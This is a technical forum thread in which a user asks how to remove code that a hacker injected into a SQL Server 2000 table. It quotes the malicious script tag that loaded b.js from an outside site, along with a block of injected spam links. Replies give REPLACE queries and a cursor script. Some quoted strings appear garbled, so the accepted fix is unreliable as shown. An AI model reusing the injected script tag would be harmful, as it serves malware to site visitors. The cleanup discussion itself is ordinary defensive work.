SQL 2000 update field (delete a portion of the content)

I have the following (sql 2000/asp)

Table:  users
field :  name

There are thousands of records with different names in there. Problem is that after each name a code was inserted by a hacker, this code is:

<script src=http://www.bnrupdate.mobi/b.js></script>

So what was 'luis'  or 'john'  now reads:

'luis<script src=http://www.bnrupdate.mobi/b.js></script>'

and 'john<script src=http://www.bnrupdate.mobi/b.js></script>'

I need to run a query in this table to delete the extra code that was entered in the database.

How can I run an update in the users table to update the 'name' field to be what it is minus the code '<script src=http://www.bnrupdate.mobi/b.js></script>'   ?

Aleks
LVL 1
AleksAsked:
Who is Participating?
 
Aneesh RetnakaranConnect With a Mentor Database AdministratorCommented:
update activities
set partylist = replace (partylist,  'certifications are accreditedfreeit smoking tooltheuest eyes in texas paraodysayingseated off the rodeprintableds iq testcv', '' )
0
 
Aneesh RetnakaranDatabase AdministratorCommented:
this should do , but try it on a backup first

update users
set name = replace (name,  '<script src=http://www.bnrupdate.mobi/b.js></script>', '' )
0
 
AleksAuthor Commented:
ill run it locally first ... let you know shortly.
0
Improve Your Query Performance Tuning

In this FREE six-day email course, you'll learn from Janis Griffin, Database Performance Evangelist. She'll teach 12 steps that you can use to optimize your queries as much as possible and see measurable results in your work. Get started today!

 
AleksAuthor Commented:
It worked for some code but this one has quotes in it, how can i do the update without getting an error:

certifications are accredited</a><a href='http://tests4all.org/3/'>free quit smoking tool</a><a href='http://tests4all.org/4/'>the bluest eyes in texas paraody</a><a href='http://tests4all.org/5/'>sayings cheated off the rode</a><artner parts</a><a href='http://tests4all.org/8/'>printable kids iq test</a><a href='http://tests4all.org/9/'>c liv

That is what needs to be removed, so if I do the code below I get an error because of the ' signs inside the code inserted in the database.

update activities
set partylist = replace (partylist,  'certifications are accredited</a><a href='http://tests4all.org/3/'>free quit smoking tool</a><a href='http://tests4all.org/4/'>the bluest eyes in texas paraody</a><a href='http://tests4all.org/5/'>sayings cheated off the rode</a><artner parts</a><a href='http://tests4all.org/8/'>printable kids iq test</a><a href='http://tests4all.org/9/'>c liv', '' )

error is:

Msg 102, Level 15, State 1, Line 2
Incorrect syntax near 'http:'.
Msg 132, Level 15, State 1, Line 2
The label 'http' has already been declared. Label names must be unique within a query batch or stored procedure.
Msg 132, Level 15, State 1, Line 2
The label 'http' has already been declared. Label names must be unique within a query batch or stored procedure.
Msg 132, Level 15, State 1, Line 2
The label 'http' has already been declared. Label names must be unique within a query batch or stored procedure.
Msg 132, Level 15, State 1, Line 2
The label 'http' has already been declared. Label names must be unique within a query batch or stored procedure.
0
 
AleksAuthor Commented:
Msg 8116, Level 16, State 1, Line 2
Argument data type text is invalid for argument 1 of replace function.
0
 
Aneesh RetnakaranDatabase AdministratorCommented:
0
 
AleksAuthor Commented:
I am sorry, i dont follow   :(
0
 
AleksAuthor Commented:
I converted the field to nvarchar and still got the same issue:

Msg 103, Level 15, State 4, Line 2
The identifier that starts with 'certifications are accredited</a><a href='http://tests4all.org/3/'>free quit smoking tool</a><a href='http://tests4all.org/4/'>t' is too long. Maximum length is 128.

0
 
Aneesh RetnakaranDatabase AdministratorCommented:
DECLARE
    @TextPointer BINARY(16),
    @TextIndex INT,
    @oldString VARCHAR(32),
    @newString VARCHAR(32),
    @lenOldString INT,
    @currentactivitiesID INT;
 
SET @oldString = 'certifications are accreditedhttp://''http://tests4all.org/3/''" rel="nofollowhttp://''http://tests4all.org/4/''" rel="nofollowhttp://''http://tests4all.org/5/''" rel="nofollowhttp://''http://tests4all.org/8/''" rel="nofollowcv';
SET @newString = '';  
 
IF CHARINDEX(@oldString, @newString) > 0  
BEGIN
    PRINT 'Quitting to avoid infinite loop.';
END
ELSE
BEGIN
    SELECT 'Before replacement:';  
    SELECT activitiesID, partylist FROM activities;  
    SET @lenOldString = DATALENGTH(@oldString)
 
      DECLARE irows CURSOR
      LOCAL FORWARD_ONLY STATIC READ_ONLY FOR
      SELECT activitiesID
      FROM   dbo.activities
      WHERE PATINDEX('%'+@oldString+'%', partylist) > 0;
    OPEN irows;
    FETCH NEXT FROM irows INTO @currentactivitiesID;
    WHILE (@@FETCH_STATUS = 0)
    BEGIN
        SELECT
            @TextPointer = TEXTPTR(partylist),  
            @TextIndex = PATINDEX('%'+@oldString+'%', partylist)
        FROM dbo.activities
        WHERE activitiesID = @currentactivitiesID;
        WHILE
        (
            SELECT PATINDEX('%'+@oldString+'%', partylist)
            FROM dbo.activities
            WHERE activitiesID = @currentactivitiesID
        ) > 0
        BEGIN
            SELECT @TextIndex = PATINDEX('%'+@oldString+'%', partylist)-1
            FROM dbo.activities
            WHERE activitiesID = @currentactivitiesID;
            UPDATETEXT dbo.activities.partylist @TextPointer @TextIndex @lenOldString @newString;
        END
        FETCH NEXT FROM irows INTO @currentactivitiesID;
    END
    CLOSE irows;
    DEALLOCATE irows;
    SELECT 'After replacement:';
    SELECT activitiesID, partylist FROM activities;
END
0
Question has a verified solution.

Are you are experiencing a similar issue? Get a personalized answer when you ask a related question.

Have a better answer? Share it in a comment.

All Courses

From novice to tech pro — start learning today.